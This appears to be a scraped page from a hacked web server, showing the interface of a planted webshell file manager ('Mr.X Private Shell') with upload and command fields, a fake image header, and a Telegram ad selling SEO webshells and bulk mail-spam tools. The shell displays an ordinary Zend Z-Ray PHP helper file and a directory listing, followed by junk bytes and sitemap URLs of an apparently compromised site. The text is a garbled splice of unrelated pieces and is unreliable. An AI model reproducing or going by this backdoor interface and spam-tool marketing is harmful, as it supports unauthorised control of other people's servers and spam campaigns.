xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace DevBar\View\Helper;

use Zend\View\Helper\AbstractHelper;

class ZrayInject extends AbstractHelper
{
    protected $pageId   = '';
    protected $jsLoaded = false;
    protected $zendserverUiUrl = '';
    protected $error    = '';

    public function __invoke($pageId, $requestsSeparated = false,$zendserverUiUrl = '')
    {
        $this->pageId = $pageId;
        $this->zendserverUiUrl = $zendserverUiUrl;

        if (($output = $this->getZrayContent($requestsSeparated)) !== false) {
            if (!$this->jsLoaded) {
                $output         .= $this->getJavascript();
                $this->jsLoaded = true;
            }
            return $output;
        } else {
            return $this->error;
        }
    }

    /**
     * Load devbar_footer.html file and replace the placeholders. add "ZrayAllRequests" parameter
     * @return array
     */
    protected function getZrayContent($requestsSeparated = false)
    {
        $this->error = '';
        $zrayContent = array();

        // locate footer script
        $footerScript = $this->getZendInstallDir().DIRECTORY_SEPARATOR.'share'.DIRECTORY_SEPARATOR.'scripts'.DIRECTORY_SEPARATOR.'devbar_footer.html';
        $footerScript = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $footerScript);
        if (!file_exists($footerScript)) {
            $this->error = 'Z-Ray script "'.$footerScript.'" was not found';
            return false;
        }

        // take footer script content
        $footerContent = file_get_contents($footerScript);
        if ($footerContent === false) {
            $this->error = 'Cannot read Z-Ray script "'.$footerScript.'"';
            return false;
        }

        // replace the placeholders within the footer scripts
        $footerContent = str_replace('$(ZENDSERVER_UI)', $this->getServerUrl(), $footerContent);
        $footerContent = str_replace('$(DEVBAR_PAGE_ID)', ($this->pageId ? $this->pageId : ''), $footerContent);
        $footerContent = str_replace('$(DEVBAR_ACCESS_TOKEN)', '', $footerContent);
        $footerContent = str_replace('Z-Ray/iframe?', 'Z-Ray/iframe?embedded=1&', $footerContent);
        if (empty($this->pageId)) {
            $footerContent = str_replace('Z-Ray/iframe?', 'Z-Ray/iframe?ZRayAllRequests=1&', $footerContent);
        }
        if ($requestsSeparated) {
            $footerContent = str_replace('Z-Ray/iframe?', 'Z-Ray/iframe?requestsSeparated=1&', $footerContent);
        }

        return $footerContent;
    }

    /**
     * Get ZS installation DIR
     * @return string
     */
    protected function getZendInstallDir()
    {
        return getCfgVar('zend.install_dir');
    }

    protected function getJavascript()
    {
        $js = "
		<script>
		
		(function() {				
			// put the iframe at the same level
			document.querySelector('#zend-dev-bar-iframe').style.zIndex = 0;
			
				
			document.querySelector('body').style.paddingBottom = 0;
	
			// call callbackFn when iframe is injected and ready
			// (the function can be called several times, the callback is appended)
			
			var whenIframeLoads = (function() {
				var callbacks = [];
					
				var theFunction = function(callbackFn) {
					var iframe = document.querySelector('#zend-dev-bar-iframe iframe');
					
					if (!iframe) {
						setTimeout(function() {
							theFunction(callbackFn);
						}, 20);
					} else {
						//iframe.style.width = 'calc(100% - 160px)';
						if (typeof(callbackFn) == 'function') {
							callbacks.push(callbackFn);
						}
					
						callbacks.forEach(function(_callbackFn) {
							_callbackFn(iframe);
						});
					}
				};
					
				return theFunction;
			})();
		
		";

        // add "loading" text, when no page id supplied
        if (empty($this->pageId)) {
            $waitingText = _t('Waiting for incoming requests');
            $js          .= "
			
			// add `recording` icon when iframe loads
			whenIframeLoads(function(iframe) {
				// create the icon
				var recIconWrapper = document.createElement('div');
				recIconWrapper.setAttribute('class', 'zdb-waiting-requests-wrapper');
				recIconWrapper.innerHTML = '<h2 title=\"$waitingText\">$waitingText</h2>';
			
				// add it to z-ray when it loads
				iframe.addEventListener('load', function() {
					var zendDevBarElem = iframe.contentWindow.document.getElementById('zend-dev-bar');
					zendDevBarElem.parentNode.insertBefore(recIconWrapper, zendDevBarElem);
				});
			});
			";
        }

        $js .= '})();</script>';
        return $js;
    }

    /**
     * Get zray server url
     * @return string
     */
    protected function getServerUrl(){
       
       $url = $this->zendserverUiUrl;
       if(empty($url)){
           $url = $this->getView()->serverUrl().'/ZendServer';
       }
       return $url;
    }
}

Filemanager

Name Type Size Permission Actions
AccessTokenJson.php File 1.4 KB 0644
BacktraceJson.php File 774 B 0644
BacktraceXml.php File 1.06 KB 0644
DevBarExpandAll.php File 334 B 0644
DevBarPager.php File 717 B 0644
DevBarSearch.php File 488 B 0644
ExceptionsJson.php File 1.39 KB 0644
ExceptionsXml.php File 1.14 KB 0644
FunctionsStatsJson.php File 1.55 KB 0644
FunctionsStatsXml.php File 1.55 KB 0644
LogEntriesJson.php File 1.07 KB 0644
LogEntriesXml.php File 1.09 KB 0644
NotificationsJson.php File 1.02 KB 0644
RequestInfoJson.php File 1.3 KB 0644
RequestInfoXml.php File 1.18 KB 0644
RuntimeJson.php File 547 B 0644
RuntimeXml.php File 519 B 0644
SqlQueriesJson.php File 1.19 KB 0644
SqlQueriesStatus.php File 517 B 0644
SqlQueriesXml.php File 1.19 KB 0644
SqlQueryFormat.php File 1.36 KB 0644
SuperglobalStructure19Json.php File 2.55 KB 0644
SuperglobalStructureJson.php File 2.91 KB 0644
SuperglobalStructureXml.php File 2.58 KB 0644
ZrayFooter.php File 317 B 0644
ZrayHeader.php File 4.04 KB 0644
ZrayInject.php File 4.69 KB 0644
ZrayTable.php File 1.3 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml